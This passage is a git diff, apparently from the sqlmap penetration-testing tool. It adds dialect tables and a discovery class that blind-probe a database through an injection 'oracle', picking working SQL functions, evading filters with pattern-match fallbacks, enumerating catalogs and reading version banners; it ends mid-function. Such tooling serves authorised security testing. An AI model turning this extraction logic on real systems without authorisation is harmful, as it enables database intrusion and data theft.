"cp1251", "win1251": "cp1251", "cl8mswin1251": "cp1251", "1251": "cp1251", + "cp1250": "cp1250", "windows1250": "cp1250", "ee8mswin1250": "cp1250", "1250": "cp1250", + "gbk": "gbk", "gb2312": "gbk", "zhs16gbk": "gbk", "936": "gbk", "gb18030": "gb18030", + "big5": "big5", "zht16big5": "big5", "950": "big5", + "sjis": "shift_jis", "shiftjis": "shift_jis", "cp932": "shift_jis", "ja16sjis": "shift_jis", "932": "shift_jis", + "euckr": "euc-kr", "ko16ksc5601": "euc-kr", "51949": "euc-kr", + "eucjp": "euc-jp", "ujis": "euc-jp", "ja16euc": "euc-jp", + "koi8r": "koi8-r", "cl8koi8r": "koi8-r", + "ascii": "ascii", "usascii": "ascii", "us7ascii": "ascii", +} + + +def _charsetCodec(name): + """Map a declared charset NAME (or code-page number) to a Python codec, or None if unknown. + Trailing collation qualifiers (MySQL `utf8mb4_general_ci`) are stripped progressively.""" + import re as _re + key = _re.sub(r"[^a-z0-9]", "", (name or "").lower()) + while key: + if key in _CHARSET_CODEC: + return _CHARSET_CODEC[key] + key = key[:-1] # peel trailing collation suffix (utf8mb4generalci -> ... -> utf8mb4) + return None + + +# the only code points a hex-framed dump payload can contain (hex digits + N/V markers +# + the length-frame ':'/';' + the legacy ',' delimiter); lets that value extract via a tiny +# bisection alphabet. MUST include ':' and ';' or the length-framed grammar's chars fall +# outside the alphabet -> whole-value verify fails -> a costly full-hex re-extraction. +_HEX_PAYLOAD_CODES = sorted(set(ord(c) for c in ",:;0123456789ABCDEFNV")) + + +# force a byte-ordered, case/accent-sensitive comparison of {x} even where the default +# collation is case-insensitive (SQL Server, MySQL _ci) or locale-linguistic (PostgreSQL) +_BINWRAP = ( + ("collate_c", "({x}) COLLATE \"C\""), # PostgreSQL/Redshift/Greenplum/CockroachDB/Vertica + ("collate_bin2", "({x}) COLLATE Latin1_General_BIN2"), # SQL Server/Sybase ASE + ("collate_mysqlbin", "({x}) COLLATE utf8mb4_bin"), # MySQL/MariaDB/TiDB/Doris/StarRocks + ("binary_op", "BINARY ({x})"), # MySQL (operator form) + ("cast_bytea", "CAST(({x}) AS bytea)"), # PostgreSQL family + ("cast_varbinary", "CAST(({x}) AS VARBINARY(8000))"), # SQL Server/DB2 + ("cast_blob", "CAST(({x}) AS BLOB)"), # SQLite/Firebird/Derby + ("nlssort", "NLSSORT(({x}),'NLS_SORT=BINARY')"), # Oracle + ("raw", "UTL_RAW.CAST_TO_RAW({x})"), # Oracle (RAW bytewise) +) + + +# aggregate column {col} across all rows into ONE delimited string (one-shot bulk pull) +_BULK_AGG = ( + ("group_concat", "GROUP_CONCAT({col})"), # MySQL/MariaDB/SQLite/H2/HSQLDB/CUBRID/Doris/StarRocks + ("string_agg", "STRING_AGG(CAST({col} AS VARCHAR(4000)),',')"), # PostgreSQL/SQLServer2017+/Snowflake/Spanner/HANA/DuckDB/Cockroach/Greenplum/BigQuery + ("listagg_ovf", "LISTAGG({col},',' ON OVERFLOW TRUNCATE) WITHIN GROUP (ORDER BY {col})"), # Oracle 12.2+/graceful + ("listagg", "LISTAGG({col},',') WITHIN GROUP (ORDER BY {col})"), # Oracle/DB2/Vertica/Redshift/Altibase + ("array_agg", "ARRAY_TO_STRING(ARRAY_AGG({col}),',')"), # PostgreSQL/Presto/Trino/CrateDB + ("list_fb", "LIST({col})"), # Firebird (returns BLOB) + ("xmlagg", "RTRIM(XMLAGG(XMLELEMENT(NAME \"E\",{col},',').EXTRACT('//text()')))"), # Teradata/DB2 (SQL/XML NAME kw) +) + + +# FROM-suffix a bare scalar SELECT needs (bare = none); a non-bare match fingerprints the family +_DUAL = ( + ("bare", ""), # MySQL/PostgreSQL/SQLite/SQLServer/Snowflake/... + ("DUAL", " FROM DUAL"), # Oracle / SAP MaxDB / Altibase / CUBRID + ("SYSIBM.SYSDUMMY1", " FROM SYSIBM.SYSDUMMY1"), # IBM Db2 / Apache Derby + ("RDB$DATABASE", " FROM RDB$DATABASE"), # Firebird + ("DUMMY", " FROM DUMMY"), # SAP HANA + ("SYSMASTER:SYSDUAL", " FROM SYSMASTER:SYSDUAL"), # Informix + ("VALUES", " FROM (VALUES(1)) t"), # HSQLDB / standard + ("system.onerow", " FROM system.onerow"), # Mimer SQL +) + + +# which product(s) a non-bare _DUAL match implies (for the identify() evidence trail) +_DUAL_IMPLIES = { + "DUAL": "Oracle / MaxDB / Altibase / CUBRID", + "SYSIBM.SYSDUMMY1": "IBM Db2 / Apache Derby", + "RDB$DATABASE": "Firebird", + "DUMMY": "SAP HANA", + "SYSMASTER:SYSDUAL": "Informix", + "VALUES": "HSQLDB / SQL-standard", + "system.onerow": "Mimer SQL", +} + + +# version-banner probes: (label, expr, product, implies_product). engine-specific first; +# implies_product=False marks generic banners where only the banner TEXT names the product +_BANNERS = ( + ("H2VERSION()", "H2VERSION()", "H2", True), + ("SQLITE_VERSION()", "SQLITE_VERSION()", "SQLite", True), + ("DATABASE_VERSION()", "DATABASE_VERSION()", "HSQLDB", True), + ("CURRENT_VERSION()", "CURRENT_VERSION()", "Snowflake", True), + ("product_component_version", "(SELECT version FROM product_component_version WHERE ROWNUM=1)", "Oracle", True), # low-priv Oracle + ("v$version", "(SELECT banner FROM v$version WHERE ROWNUM=1)", "Oracle", True), # needs SELECT_CATALOG_ROLE + ("rdb$get_context", "(SELECT rdb$get_context('SYSTEM','ENGINE_VERSION') FROM rdb$database)", "Firebird", True), + ("SYS.M_DATABASE", "(SELECT VERSION FROM SYS.M_DATABASE)", "SAP HANA", True), + ("$ZVERSION", "$ZVERSION", "InterSystems Cache/IRIS", True), + ("SYS.SYSTABLES", "(SELECT DBINFO('VERSION','FULL') FROM systables WHERE tabid=1)", "Informix", True), + ("@@VERSION", "@@VERSION", None, False), + ("VERSION()", "VERSION()", None, False), + ("version()", "version()", None, False), +) + + +# product names searched for INSIDE a banner string; forks listed BEFORE their parents +# (e.g. MariaDB before MySQL) so the more specific name wins +_BANNER_KEYWORDS = ( + "Microsoft SQL Server", + "CockroachDB", "Redshift", "Greenplum", "Vertica", "PostgreSQL", + "TiDB", "Percona", "MariaDB", "MySQL", + "Oracle", "SQLite", "SAP HANA", "DB2", "Firebird", "Snowflake", + "Presto", "Trino", "ClickHouse", "H2", "HSQLDB", "MonetDB", "CrateDB", "Informix", +) + + +# BYTE-length of {expr} (distinct from _LENGTH's character count; for binary-safe sizing) +_BYTELEN = ( + ("OCTET_LENGTH", "OCTET_LENGTH({expr})"), + ("DATALENGTH", "DATALENGTH({expr})"), + ("LENGTHB", "LENGTHB({expr})"), +) + + +# cast an arbitrary scalar (int/date/binary) {expr} to text so it can be substringed +# PREFER UNBOUNDED casts - a bounded VARCHAR(4000) passes discovery (short test value) but +# SILENTLY TRUNCATES a longer value before it is framed/hexed, corrupting a dump that still +# looks complete. Unbounded forms are tried first; the discovery probe's exact-length check +# rejects a CHAR(1)-style truncating cast, so listing CAST(AS CHAR) is safe (MySQL: unbounded; +# elsewhere: CHAR(1) -> length 3 check fails -> skipped). Oracle VARCHAR2 has a hard 4000 cap, +# so a >4000 value there is caught by per-cell source verification in dump(), not here. +_TEXTCAST = ( + ("cast_text", "CAST(({expr}) AS TEXT)"), # PostgreSQL/SQLite/... UNBOUNDED + ("cast_char", "CAST(({expr}) AS CHAR)"), # MySQL/MariaDB UNBOUNDED (bare CHAR) + ("cast_nvarchar_max", "CAST(({expr}) AS NVARCHAR(MAX))"),# SQL Server UNBOUNDED + ("cast_varchar_max", "CAST(({expr}) AS VARCHAR(MAX))"), # SQL Server UNBOUNDED (non-Unicode) + ("cast_string", "CAST(({expr}) AS STRING)"), # BigQuery/Spark UNBOUNDED + ("cast_varchar", "CAST(({expr}) AS VARCHAR(4000))"), # bounded fallbacks (short values only) + ("cast_varchar2", "CAST(({expr}) AS VARCHAR2(4000))"), # Oracle (hard 4000 limit) + ("to_char", "TO_CHAR({expr})"), + ("convert_varchar", "CONVERT(VARCHAR(4000),({expr}))"), + ("cast_nvarchar", "CAST(({expr}) AS NVARCHAR(4000))"), +) + + +# substitute {fallback} when {expr} IS NULL +_COALESCE = ( + ("COALESCE", "COALESCE({expr},{fallback})"), + ("IFNULL", "IFNULL({expr},{fallback})"), + ("NVL", "NVL({expr},{fallback})"), + ("ISNULL", "ISNULL({expr},{fallback})"), + ("case", "CASE WHEN ({expr}) IS NULL THEN {fallback} ELSE ({expr}) END"), +) + + +# expressions that yield the current user / database-or-schema / version, per kind +_IDENTITY = { + "user": ( + "CURRENT_USER", "CURRENT_USER()", "USER", "USER()", "SYSTEM_USER", + "SUSER_NAME()", "USER_NAME()", "USERNAME()", "currentUser()", + ), + # the CURRENT namespace used to scope table/column lookups. prefer the SCHEMA + # functions: on schema-based engines (h2/hsqldb/derby/pg) the catalog's scope + # column is the SCHEMA (PUBLIC/APP/public), NOT the database name (h2 DATABASE() + # is 'TEST' but its tables live in schema 'PUBLIC'). where db==schema (MySQL), + # SCHEMA() returns the same value, so nothing regresses. + "database": ( + "CURRENT_SCHEMA()", "current_schema()", "CURRENT_SCHEMA", "current_schema", + "SCHEMA_NAME()", "SCHEMA()", "CURRENT SCHEMA", "DATABASE()", "DB_NAME()", "currentDatabase()", + ), # SCHEMA_NAME() = SQL Server's schema (dbo), so tables scope+qualify as schema.table (e.g. "dbo"."users"); its DB_NAME() ('master') is NOT a valid 2-part schema prefix + "version": ( + "VERSION()", "version()", "@@VERSION", "SQLITE_VERSION()", + "DATABASE_VERSION()", "H2VERSION()", "CURRENT_VERSION()", + "(SELECT banner FROM v$version WHERE ROWNUM=1)", # Oracle + "(SELECT version FROM v$instance)", # Oracle alt + ), +} + + +# table catalogs: (probe-name, family, {kind: (name_col, source, filter)}). the first +# whose COUNT(*) succeeds both enables enumeration and fingerprints the DBMS family +_CATALOGS = ( + ("sqlite_master", "SQLite", + {"table": ("tbl_name", "sqlite_master", "type='table'")}), + ("SYS.ALL_TABLES", "Oracle", # exclude recyclebin objects (dropped tables linger as + {"table": ("TABLE_NAME", "SYS.ALL_TABLES", "TABLE_NAME NOT LIKE 'BIN$%'"), # BIN$... in ALL_TABLES) - idea from SchemaCrawler + "schema": ("OWNER", "SYS.ALL_TABLES", None)}), + ("sys.summits", "CrateDB", # CrateDB signature table (mountain summits); MUST precede + {"table": ("table_name", "information_schema.tables", None), # pg_catalog (CrateDB is PG-wire -> was mis-ID'd PostgreSQL + collided with its system `users`) + "schema": ("table_schema", "information_schema.tables", None)}), + ("pg_catalog.pg_tables", "PostgreSQL-family", + {"table": ("tablename", "pg_catalog.pg_tables", None), + "schema": ("schemaname", "pg_catalog.pg_tables", None)}), + ("master..sysdatabases", "MSSQL/Sybase", + {"database": ("name", "master..sysdatabases", None), + "schema": ("name", "sys.schemas", None), + "table": ("name", "sys.tables", None)}), + ("RDB$RELATIONS", "Firebird", + {"table": ("TRIM(RDB$RELATION_NAME)", "RDB$RELATIONS", "RDB$SYSTEM_FLAG=0")}), # user tables only; TRIM the CHAR(63) padding + ("syscat.tables", "IBM DB2", + {"table": ("tabname", "syscat.tables", None)}), + ("sys._tables", "MonetDB", # MonetDB-unique (underscore); MUST precede SYS.OBJECTS, + {"table": ("name", "sys._tables", "system=false")}), # which MonetDB ALSO has -> was mis-ID'd as SAP HANA + ("SYS.OBJECTS", "SAP HANA", + {"table": ("OBJECT_NAME", "SYS.OBJECTS", "OBJECT_TYPE='TABLE'")}), + ("SYS.SYSTABLES", "Apache Derby", + {"table": ("TABLENAME", "SYS.SYSTABLES", "TABLETYPE='T'")}), # Derby native catalog (user tables) + ("SYSIBM.SYSTABLES", "DB2/Derby", + {"table": ("NAME", "SYSIBM.SYSTABLES", None)}), + ("db_class", "CUBRID", # CUBRID-unique catalog (object-oriented heritage); + {"table": ("class_name", "db_class", "is_system_class='NO'")}), # else it matched nothing -> brute-forced blindly + went unnamed + ("systables", "Informix", # bare `systables` is Informix-specific (others are SYS./SYSIBM.-qualified); + {"table": ("tabname", "systables", "tabid>=100 AND tabtype='T'")}), # tabid>=100 = user objects, tabtype='T' = base tables + ("system.tables", "ClickHouse", # precede INFORMATION_SCHEMA (CH has both); scope to the + {"table": ("name", "system.tables", "database=currentDatabase()")}), # current db so its own system.* tables (incl a `users`!) don't pollute + ("INFORMATION_SCHEMA.TABLES", "ANSI (MySQL/MSSQL/PG/...)", + {"table": ("table_name", "INFORMATION_SCHEMA.TABLES", None), + "schema": ("table_schema", "INFORMATION_SCHEMA.TABLES", None)}), +) + + +# per-catalog column enumeration: (name_col, source, filter) where filter has one %s +# for the (literal) table name; matched by the catalog chosen above +# (name_col, source, where-template-with-one-%s, ordinal_col); the 4th column is the +# catalog's declared column position, used to return columns in DEFINITION order (else +# they come out alphabetical); a wrong/absent one just degrades to alphabetical +_COLUMN_SPECS = { + "sqlite_master": ("name", "pragma_table_info(%s)", None, "cid"), + "SYS.ALL_TABLES": ("column_name", "SYS.ALL_TAB_COLUMNS", "table_name=%s", "COLUMN_ID", "OWNER"), # Oracle scopes by OWNER, not table_schema + "pg_catalog.pg_tables": ("column_name", "information_schema.columns", "table_name=%s", "ordinal_position"), + "sys.summits": ("column_name", "information_schema.columns", "table_name=%s", "ordinal_position"), # CrateDB (schema-scoped by columns()) + "master..sysdatabases": ("name", "syscolumns", "id=OBJECT_ID(%s)", "colid"), + "RDB$RELATIONS": ("TRIM(RDB$FIELD_NAME)", "RDB$RELATION_FIELDS", "RDB$RELATION_NAME=%s", "RDB$FIELD_POSITION"), # TRIM the CHAR padding + "syscat.tables": ("colname", "syscat.columns", "tabname=%s", "colno"), + "db_class": ("attr_name", "db_attribute", "class_name=%s", "def_order"), # CUBRID + "systables": ("colname", "syscolumns", "tabid=(SELECT tabid FROM systables WHERE tabname=%s)", "colno"), # Informix + "sys._tables": ("name", "sys._columns", "table_id=(SELECT id FROM sys._tables WHERE name=%s AND system=false)", "number"), # MonetDB + "system.tables": ("name", "system.columns", "table=%s AND database=currentDatabase()", "position"), # ClickHouse (scope to current db) + "SYS.OBJECTS": ("column_name", "SYS.TABLE_COLUMNS", "table_name=%s", "POSITION"), + "SYS.SYSTABLES": ("COLUMNNAME", "SYS.SYSCOLUMNS", "REFERENCEID=(SELECT TABLEID FROM SYS.SYSTABLES WHERE TABLENAME=%s)", "COLUMNNUMBER"), + "SYSIBM.SYSTABLES": ("COLUMNNAME", "SYSIBM.SYSCOLUMNS", "TBNAME=%s", "COLNO"), + "INFORMATION_SCHEMA.TABLES": ("column_name", "INFORMATION_SCHEMA.COLUMNS", "table_name=%s", "ordinal_position"), +} + + +# pattern-match floor operators: (op, multi-char wildcard, single-char wildcard); GLOB +# (case-sensitive, literal '_') is preferred over LIKE +_PREFIX = ( + ("GLOB", "*", "?"), # SQLite: case-SENSITIVE, and '_' is literal (preferred) + ("LIKE", "%", "_"), # near-universal core SQL (often case-insensitive) + ("SIMILAR TO", "%", "_"), # SQL:2003 (PostgreSQL/H2/HSQLDB/Vertica): last-resort floor when LIKE+GLOB are both filtered; SAME %/_ wildcards as LIKE but its other regex metachars need escaping (see _SIMILAR_META) +) + + +# characters SIMILAR TO treats as regex metacharacters (beyond the %/_ wildcards): a +# literal one in the extracted value must be backslash-escaped or the pattern mismatches +_SIMILAR_META = frozenset("%_|*+?(){}[].\\^$") + + +# identifier quoting styles: (open, close); probed against a known-present table +_IDENT_QUOTE = ( + ('"', '"'), # ANSI: PostgreSQL/Oracle/SQLite/DB2/Firebird/HANA/Snowflake/... + ('`', '`'), # MySQL/MariaDB/TiDB + ('[', ']'), # SQL Server/Access/Sybase +) + + +# primary/unique key lookup per catalog: (source, table_col, name_col, constraint_filter); +# the preferred row-ordering key for dump() +# ANSI INFORMATION_SCHEMA key lookup, shared by every catalog whose engine also exposes +# it (MSSQL/Sybase are detected via master..sysdatabases but DO have INFORMATION_SCHEMA) +_ANSI_KEY_SPEC = ( + "INFORMATION_SCHEMA.KEY_COLUMN_USAGE", "table_name", "column_name", + "constraint_name IN (SELECT constraint_name FROM INFORMATION_SCHEMA.TABLE_CONSTRAINTS " + "WHERE constraint_type IN ('PRIMARY KEY','UNIQUE'))") + +_KEY_SPECS = { + "INFORMATION_SCHEMA.TABLES": _ANSI_KEY_SPEC, + "master..sysdatabases": _ANSI_KEY_SPEC, # MSSQL/Sybase: rowid-less, so a PK keyset is the clean ordered walk + "pg_catalog.pg_tables": ( + "information_schema.key_column_usage", "table_name", "column_name", + "constraint_name IN (SELECT constraint_name FROM information_schema.table_constraints " + "WHERE constraint_type IN ('PRIMARY KEY','UNIQUE'))"), + "SYS.ALL_TABLES": ( + "SYS.ALL_CONS_COLUMNS", "table_name", "column_name", + "constraint_name IN (SELECT constraint_name FROM SYS.ALL_CONSTRAINTS " + "WHERE constraint_type IN ('P','U'))"), +} + + +# physical row-id pseudo-columns: (name, expr, unit); fallback row-ordering for dump() +_ROWID = ( + ("rowid", "ROWID", "int"), # SQLite (integer); Oracle (opaque string) - unit re-measured + ("_ROWID_", "_ROWID_", "int"), # SQLite alias + ("rowid_oracle", "ROWID", "text"), # Oracle pseudo-column (opaque, orderable) + ("ctid", "ctid", "text"), # PostgreSQL tuple id (page,tuple): MIN-aggregatable + orderable, so a PK-less table's exact-duplicate rows survive the dump instead of collapsing + ("rrn", "RRN(%s)", "int"), # IBM Db2 relative record number +) + + +# row-ids whose comparison bound must be a QUOTED literal, not a CHR()||... build: their +# type (e.g. PostgreSQL 'tid') coerces from an unknown-typed literal ('(0,1)') but NOT +# from a text-typed concatenation, so ctid=CHR(40)||... errors while ctid='(0,1)' works +_ROWID_LITBOUND = frozenset(("ctid",)) + + +# printable ASCII (0x20-0x7E): the equality/ordinal char-scan alphabet +_PRINTABLE = "".join(chr(_) for _ in range(32, 127)) + + +# _PRINTABLE sorted by code point (for ordinal/collation bisection) +_PRINTABLE_SORTED = sorted(_PRINTABLE) + + +# English-frequency-ordered charset (common letters first) so the equality scan needs +# fewer probes on real text; completed with any remaining printable chars below +_FREQ_ORDER = ("etaoinshrdlcumwfgypbvkjxqz" + "0123456789_ .-,ETAOINSHRDLCUMWFGYPBVKJXQZ") +_FREQ_ORDER += "".join(c for c in _PRINTABLE if c not in _FREQ_ORDER) + + +# highest Unicode code point: the upper bound for code-mode bisection +_UNICODE_MAX = 0x10FFFF + + +# U+FFFD REPLACEMENT CHARACTER: the explicit "could not recover this char" marker +# (extraction emits it instead of ever silently substituting/dropping a character) +_REPL = u"\uFFFD" + + +# a warning is INFORMATIONAL (the recovered bytes are whole + usable, only case/accent is +# uncertain, or the value was cleanly recovered by an alternate route) if it mentions one of +# these; anything else is an INTEGRITY warning meaning the bytes may be wrong/partial, which +# clears `complete`. Lets `complete` be a clean invariant: True == trustworthy whole value. +_SOFT_WARNINGS = ("case", "collation", "recovered via hex") + + +def _hardWarnings(warns): + """The integrity-class warnings in `warns` (those that impugn the recovered bytes).""" + return [w for w in warns if not any(s in w for s in _SOFT_WARNINGS)] + + +# py2/py3 shim: integer code point -> single char +try: + _unichr = unichr # py2 +except NameError: + _unichr = chr # py3 + +# py2/py3 shim: the py2 unicode text type (str on py3) +try: + _unicode = unicode # py2 +except NameError: + _unicode = str # py3 + + +def _native(s): + # embed a literal as the native str type: on py2 a unicode value is encoded to + # utf-8 bytes so the byte-string SQL templates ('{expr}'.format(...)) don't force + # an ascii encode of non-ASCII data; on py3 str is already unicode-clean. + if str is bytes and isinstance(s, _unicode): # py2 only + return s.encode("utf-8") + return s + + +__all__ = [_n for _n in list(globals()) if not _n.startswith('__') and _n != 'binascii'] diff --git a/extra/esperanto/discovery.py b/extra/esperanto/discovery.py new file mode 100644 index 00000000000..dc331146971 --- /dev/null +++ b/extra/esperanto/discovery.py @@ -0,0 +1,604 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from .atlas import _BANNER_KEYWORDS +from .atlas import _BANNERS +from .atlas import _BINWRAP +from .atlas import _BYTELEN +from .atlas import _CATALOGS +from .atlas import _CHARCODE +from .atlas import _CHARFROM +from .atlas import _charsetCodec +from .atlas import _CHARSET_PROBES +from .atlas import _COALESCE +from .atlas import _CONCAT +from .atlas import _DUAL +from .atlas import _DUAL_IMPLIES +from .atlas import _HEXFN +from .atlas import _IDENTITY +from .atlas import _LENGTH +from .atlas import _PREFIX +from .atlas import _SUBSTRING +from .atlas import _TEXTCAST +from .records import Cap +from .records import OracleUndecided + + +class _Discovery(object): + """_Discovery + + probe the target to build the Dialect; populates self.dialect, never extracts data.""" + + def discover(self): + with self._probePhase(): + return self._discover() + + def _discover(self): + if not self._sanity(): + raise RuntimeError("oracle does not behave (1=1 true / 1=2 false failed)") + try: + self._discoverSubstring() + except RuntimeError: + # MAX-CONSTRAINT path: every substring fn is blacklisted. fall back to a + # pure pattern-match extractor (LIKE/GLOB) that needs no SUBSTR/LENGTH/ + # code/hex fn. + if self._fallbackPrefix(): + return self.dialect + raise + try: + self._discoverLength() + except RuntimeError: + # no length fn - derive length from the substring's end behavior, provided + # that end is observable (empty/NULL). one more laddered capability, so a + # backend with substring but no CHAR_LENGTH/LENGTH/LEN still extracts. + # if the end isn't observable (e.g. LEFT/RIGHT), drop to the pattern floor. + if self.dialect.substring.get("beyond_end") not in ("empty", "null-or-error"): + if self._fallbackPrefix(): + return self.dialect + raise + self.dialect.notes.append("no length fn; length derived from substring end") + self._discoverBytelen() + self._discoverConcat() + self._fixupLength() + self._discoverTextcast() + self._discoverCoalesce() + self._discoverCompare() + self._discoverComparator() + self._discoverCharfrom() + self._discoverCharset() + self._discoverDual() + self._discoverIdentity() + self._discoverCatalog() + self._checkCompat() + self._discovered = True + return self.dialect + + def _fallbackPrefix(self): + # pure LIKE/GLOB pattern-match floor: usable when there is no workable + # substring+length combo (substring absent, or present but unmeasurable). + # only the pattern-INDEPENDENT capabilities (charfrom/dual/catalog use no + # SUBSTR) are discovered; concat/compare/etc. stay None. + if not self._discoverPrefix(): + return False + self.dialect.substring = None # route retrieval to the pattern-match path + self.dialect.length = None + self.dialect.compare = "like" + # the numeric/paging comparator is STILL needed here: catalog keyset paging relies on + # it, and the constructor default 'gt'/_inOk=True would silently fail (returning only + # the first row, no warning) on the very WAF that forced this floor. Discover the real + # capability so paging uses NOT IN / brute-force honestly. + self._discoverComparator() + self._discoverCharfrom() + self._discoverCharset() + self._discoverDual() + self._discoverCatalog() + self._discovered = True + return True + + def _discoverPrefix(self): + # LIKE/GLOB pattern match: 'sqlmap' 'sq' true, 'zz' false. + # also measure case-sensitivity ('a' 'A'). + for op, multi, single in _PREFIX: + if self._ask("('sqlmap') %s 'sq%s'" % (op, multi)) and \ + not self._ask("('sqlmap') %s 'zz%s'" % (op, multi)): + ci = self._ask("('a') %s 'A'" % op) + self.dialect.prefix = Cap(op, "%s", multi=multi, single=single, case_insensitive=ci) + return op + return None + + def identify(self): + """Fuse catalog family + required dual-table + version banner (+ behavioral + tells) into a best-guess product with an evidence trail. Run after + discover(). This is the CTF step: name the abomination on the other end.""" + d = self.dialect + if not self._discovered: + self.discover() + ev = [] + if d.catalog: + ev.append(("catalog = %s" % d.catalog, d.family)) + if d.dual and d.dual[0] != "bare": + ev.append(("bare SELECT needs FROM %s" % d.dual[0], _DUAL_IMPLIES.get(d.dual[0], "?"))) + product = None + # best-effort naming: on a permission/charset wall a probe may be undecided; + # degrade to whatever evidence was gathered rather than crash the verdict + try: + # cheap behavioral tell: || is logical OR -> MySQL family (one probe, no banner) + if d.concat and d.concat[0] != "pipes" and self._ask("(%s)=1" % _CONCAT[0][1].format(a="1", b="1")): + ev.append(("|| is logical OR (not concat)", "MySQL family")) + product = "MySQL" + # the version banner is the EXPENSIVE part (blind-reading a long string), so + # it is paid for ONLY when the catalog family can't name the product on its + # own - i.e. the shared INFORMATION_SCHEMA / unknown-catalog case. A specific + # catalog (SQLite/Oracle/PostgreSQL/MSSQL/...) names the product for free, and + # --banner reads the full version explicitly via banner(). + if product is None and (not d.family or "ANSI" in d.family): + val, implied = self._probeBanner() + if val: + ev.append(("banner", val)) + product = self._nameFromBanner(val) or implied + if product is None and self._hasChars("@@version_comment"): + comment = self.extract("@@version_comment", limit=64) + if comment: + ev.append(("@@version_comment", comment)) + product = self._nameFromBanner(comment) + except OracleUndecided: + ev.append(("product identification", "stopped (oracle undecided - permission/charset wall)")) + + d.product = product or d.family + d.evidence = ev + return {"product": d.product, "version": d.version, "family": d.family, + "dual": d.dual[0] if d.dual else None, "compare": d.compare, + "evidence": ev} + + def _probeBanner(self): + # blind-read the version string (expensive - a long string over the oracle). + # caches on the dialect; returns (version, implied_product) - some exprs imply a + # product just by existing (e.g. H2VERSION() -> H2) + for _label, expr, prod, implies in _BANNERS: + if self._hasChars(expr): + val = self.extract(expr, limit=96) + if val: + self.dialect.version = val + return val, (prod if implies else None) + return None, None + + def banner(self): + """The --banner action: the full version string, read on demand ONLY. The + fingerprint never triggers this - naming the product (identify) is cheap and + does not need the banner unless the catalog family is ambiguous.""" + if not self._discovered: + self.discover() + if self.dialect.version is None: + try: + self._probeBanner() + except OracleUndecided: + pass + return self.dialect.version + + @staticmethod + def _nameFromBanner(text): + low = text.lower() + for kw in _BANNER_KEYWORDS: + if kw.lower() in low: + return kw + return None + + def _discoverSubstring(self): + for name, tmpl in _SUBSTRING: + g = lambda e, p, ln: tmpl.format(expr=e, pos=p, len=ln) + base = None + if self._ask("%s='q'" % g("'sqlmap'", 2, 1)) and not self._ask("%s='z'" % g("'sqlmap'", 2, 1)): + base = 1 + elif self._ask("%s='q'" % g("'sqlmap'", 1, 1)) and self._ask("%s='s'" % g("'sqlmap'", 0, 1)): + base = 0 + if base is None: + continue + self.dialect.substring = Cap(name, tmpl, index_base=base) + # base detection above CONFIRMS the substring fn works; the property + # measurements below are best-effort and MUST NOT discard it - a probe the + # oracle can't decide leaves the property at a safe default, never aborts. + props = self.dialect.substring.props + try: + props["beyond_end"] = self._edgeBehavior(self._sub("'ABCDE'", 6, 1)) + props["zero_length"] = self._edgeBehavior(self._sub("'ABCDE'", 1, 0)) + props["unit"] = self._substringUnit() + except OracleUndecided: + pass + props.setdefault("beyond_end", "unknown") + props.setdefault("zero_length", "unknown") + props.setdefault("unit", "unknown") + return name + self.dialect.substring = None + raise RuntimeError("no working substring function found") + + def _codeCharTmpl(self): + # a code->char template (CHAR/CHR/NCHAR), probed ASCII-only and cached. lets + # the unicode PROPERTY probes build a multibyte test char server-side instead + # of pushing a raw non-ASCII byte through the URL/app/DBMS encoding layers. + if self._codeTmpl is None: + self._codeTmpl = False + # PASS 1 prefers a UNICODE-capable constructor (one that yields a non-NULL char for a + # code point > 255), so SQL Server picks NCHAR over the byte-only CHAR - CHAR(8364) + # is NULL there and would break the euro/UTF-16 probes. PASS 2 accepts any ASCII- + # working constructor when no Unicode-capable one exists. + for unicode_capable in (True, False): + for _, tmpl in _CHARFROM: + if not (self._ask("%s='a'" % tmpl.format(code=97)) and + not self._ask("%s='b'" % tmpl.format(code=97))): + continue + if unicode_capable and not self._ask("(%s) IS NOT NULL" % tmpl.format(code=256)): + continue + self._codeTmpl = tmpl + break + if self._codeTmpl: + break + return self._codeTmpl or None + + def _substringUnit(self): + # char vs byte, ASCII-only + self-referential: SUBSTR(,1,1) returns the + # whole char (== ) if char-based, or a partial byte (!= ) if byte-based. + # is a multibyte codepoint built from its numeric code (no raw bytes sent). + cf = self._codeCharTmpl() + if not cf: + return "unknown" + mb = cf.format(code=0x20AC) # U+20AC (multibyte in UTF-8) + if self._ask("%s=%s" % (self._sub(mb, 1, 1), mb)): + return "characters" + return "bytes-or-unknown" + + def _edgeBehavior(self, expr): + if self._ask("%s=''" % expr): + return "empty" + if not self._ask("%s IS NOT NULL" % expr): + return "null-or-error" + return "other" + + def _discoverLength(self): + # prefer a CHARACTER-count fn (pass 1); fall back to any working fn (pass 2) + # so length stays in the same unit as the char-indexed substring + for prefer_chars in (True, False): + for name, tmpl in _LENGTH: + f = lambda s: tmpl.format(expr=s) + if not (self._ask("%s=1" % f("'A'")) and self._ask("%s=2" % f("'AB'"))): + continue + try: + unit = self._lengthUnit(f) + except OracleUndecided: + unit = "unknown" + if prefer_chars and unit != "characters": + continue + trailing = self._ask("%s=2" % f("'A '")) # preserves trailing space? + empty_null = not self._ask("(%s) IS NOT NULL" % f("''")) # LENGTH('') errors/NULL? + self.dialect.length = Cap(name, tmpl, unit=unit, trailing=trailing, + empty_is_null=empty_null) + return name + self.dialect.length = None + raise RuntimeError("no working length function found") + + def _lengthUnit(self, f): + # ASCII-only: measure the length of a multibyte char built from its code. + # 1 => character-counting, >=2 => byte-counting. no raw non-ASCII on the wire. + cf = self._codeCharTmpl() + if not cf: + return "unknown" + mb = cf.format(code=0x20AC) + if self._ask("%s=1" % f(mb)): + return "characters" + if self._ask("%s>=2" % f(mb)): + return "bytes" + return "unknown" + + def _fixupLength(self): + # a length fn that trims trailing spaces (SQL Server/Sybase LEN) truncates + # any value ending in spaces; rebuild it as LEN(x||'.')-1 with the concat. + L = self.dialect.length + if not L or L.get("trailing"): + return + if self.dialect.concat: + joined = self.dialect.concat[1].format(a="({expr})", b="'.'") + props = dict(L.props, trailing=True) + inner = "(%s)-1" % L[1].format(expr=joined) + # a variadic CONCAT() (SQL Server/Sybase) treats NULL as '' -> LEN(CONCAT(NULL,'.'))-1 + # is 0, which would report a NULL value as an empty string. Guard so a NULL input + # still yields NULL (keeps is_null detectable); harmless for NULL-preserving '||'. + tmpl = "(CASE WHEN ({expr}) IS NULL THEN NULL ELSE %s END)" % inner + self.dialect.length = Cap(L.name + "+dot", tmpl, **props) + self.dialect.notes.append("length fn trims trailing spaces; using %s(x||'.')-1" % L.name) + else: + 